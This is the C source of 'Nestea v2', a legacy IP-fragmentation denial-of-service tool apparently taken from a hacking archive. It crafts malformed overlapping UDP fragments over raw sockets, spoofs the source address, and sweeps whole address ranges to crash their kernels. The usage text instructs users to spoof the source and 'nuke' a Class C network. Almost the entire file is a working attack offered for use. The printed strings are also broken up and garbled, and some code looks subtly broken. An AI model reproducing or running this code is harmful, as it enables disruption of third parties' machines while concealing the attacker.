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nestea2.c
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Wrap
C/C++ Source or Header
|
2005-02-12
|
13KB
|
365 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define MAGIC2 108
#define PADDING 256 /* datagram frame padding for first packet */
#define COUNT 500 /* we are overwriting a small number of bytes we
shouldnt have access to in the kernel.
to be safe, we should hit them till they die :
> */
struct ipstuph
{
int p1;
int p2;
int p3;
int p4;
}
startip, endip;
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock, j, bequiet = 0;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
char hit_ip[18], dst_ip2[18];
struct in_addr addr;
fprintf(stderr, "\n
Nestea v2
originally by
:
humble
+
ttol mods
\n");
fprintf(stderr, "
Color and Instructions was done by
:
ttol
\n");
fprintf(stderr, "
Note
:
ttol released Nestea v2. humble had nothing to do with \n it, don't nag him about it. -ttol@ttol.net
\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("
raw socket
");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 4) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "
What the hell kind of IP address is that?
\n");
exit(1);
}
strcpy(dst_ip2,argv[3]);
if(sscanf(argv[2],"%d.%d.%d.%d",&startip.p1,&startip.p2,&startip.p3,
&startip.p4) != 4)
{
fprintf(stderr, "
Error, arg2(startip)
:
Need an ip that contains 4 zones
\n");
exit(1);
}
if (startip.p1 > 255)
{
fprintf(stderr, "
Error
:
Zone 1 of start ip is incorrect \
(greater than 255)\n");
exit(1);
}
if (startip.p2 > 255)
{
fprintf(stderr, "
Error
:
Zone 2 of start ip is incorrect \
(greater than 255)\n");
exit(1);
}
if (startip.p3 > 255)
{
fprintf(stderr, "
Error
:
Zone 3 of start ip is incorrect \
(greater than 255)\n");
exit(1);
}
if (startip.p4 > 255)
{
fprintf(stderr, "
Error
:
Zone 4 of start ip is incorret \
(greater than 255)\n");
exit(1);
}
if(sscanf(argv[3],"%d.%d.%d.%d",&endip.p1,&endip.p2,&endip.p3,
&endip.p4) != 4)
{
fprintf(stderr, "
Error, arg3(endip)
: [[0;34mNeed an ip that \
contains 4 zones[[0m\n");
exit(1);
}
if (endip.p1 > 255)
{
fprintf(stderr, "
Error
:
Zone 1 of end ip is incorrect \
(greater than 255)\n");
exit(1);
}
if (endip.p2 > 255)
{
fprintf(stderr, "
Error
:
Zone 2 of end ip is incorrect \
(greater than 255)\n");
exit(1);
}
if (endip.p3 > 255)
{
fprintf(stderr, "
Error
:
Zone 3 of end ip is incorrect
(greater than 255)\n");
exit(1);
}
if (endip.p4 > 255)
{
fprintf(stderr, "
Error
:
Zone 4 of end ip is incorrect
(greater than 255)\n");
exit(1);
}
if (startip.p1 != endip.p1)
{
fprintf(stderr, "
Error
:
Zone 1 of start ip and end ip is different
\n");
exit(1);
}
if (startip.p2 != endip.p2)
{
fprintf(stderr, "
Error
:
Zone 2 of start ip and end ip is different
\n");
exit(1);
}
if (startip.p3 != endip.p3)
{
fprintf(stderr, "
Error
:
Zone 3 of start ip and end ip is different
\n");
exit(1);
}
while ((i = getopt_long(argc, argv, "s:t:n:q")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
case 'q': /* quiet mode */
bequiet = 1;
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "
Death
on flaxen wings (
yet again
)
:\n");
addr.s_addr = src_ip;
fprintf(stderr, "
From
:
%15s.%d
\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, "
To
:
%15s - %s.%d
\n", inet_ntoa(addr),
dst_ip2, dst_prt);
fprintf(stderr, "
Amt
:
%5d
\n", count);
if (bequiet) fprintf(stderr, "
[
quiet mode
]
Each'
.
' represents a nuked ip.
[
");
for (j=startip.p4; j <= endip.p4; j++)
{
sprintf(hit_ip,"%d.%d.%d.%d",startip.p1,startip.p2,startip.p3,j);
if (!(bequiet)) fprintf(stderr, "
%s
[
", hit_ip);
if (!(dst_ip = name_resolve(hit_ip)))
{
fprintf(stderr, "
What the
hell
kind of IP address is that?
\n");
exit(1);
}
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
if (!(bequiet)) fprintf(stderr, "
d
00
m
");
usleep(500);
}
if (bequiet) fprintf(stderr, "
.
");
else fprintf(stderr, "
]
\n");
}
if (bequiet) fprintf(stderr, "
]
\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
byte = 0x4F; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
for(i=0;i<PADDING;i++)
{
p_ptr[i++]=random()%255;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"
nestea2
source startIP endIP
[
-s src port
] [
-t dest port
] [
-n quantity
] [
-q
]
\n");
fprintf(stderr, "
source
:
This is the source IP to nestea from, make it a spoof
\n");
fprintf(stderr, "
startIP
:
From which IP should we start from?
(
eg 153.35.85.1
)
\n");
fprintf(stderr, "
endIP
:
From which IP should we end with?
(
eg 153.35.95.255
)
\n");
fprintf(stderr, "
src port
:
This is the source port to spoof from
(
OPTIONAL
)
\n");
fprintf(stderr, "
dest port
:
This is the destination port to nestea to
(
OPTIONAL
)
\n");
fprintf(stderr, "
quantity
:
This is how many times to nestea the victim
(
perfered is 1000
)
\n");
fprintf(stderr, "
-q
:
This is quiet mode so you don't see the
d
00
m
's
\n\n");
fprintf(stderr, "
Example
:
nestea2 127.0.0.1 153.35.85.1 153.35.85.255 -n 1000
\n");
fprintf(stderr, "
The above was to hit a whole Class C of 153.35.85 with the return \naddress from 127.0.0.1 doing it 1000 times
\n");
fprintf(stderr, "
Example2
:
nestea2 153.35.85.32 153.35.85.32 153.85.35.32 -n 1000
\n");
fprintf(stderr, "
The above was to hit 153.35.85.32 with the source 153.35.85.32 \ndoing it 1000 times
\n");
fprintf(stderr, "
I perfer example2, probably because it is the lazy man's way out
\n\n");
fprintf(stderr, "
NOT TO BE DISTRIBUTED!
\n");
exit(0);
}
/* www.hack.co.za [2000]*/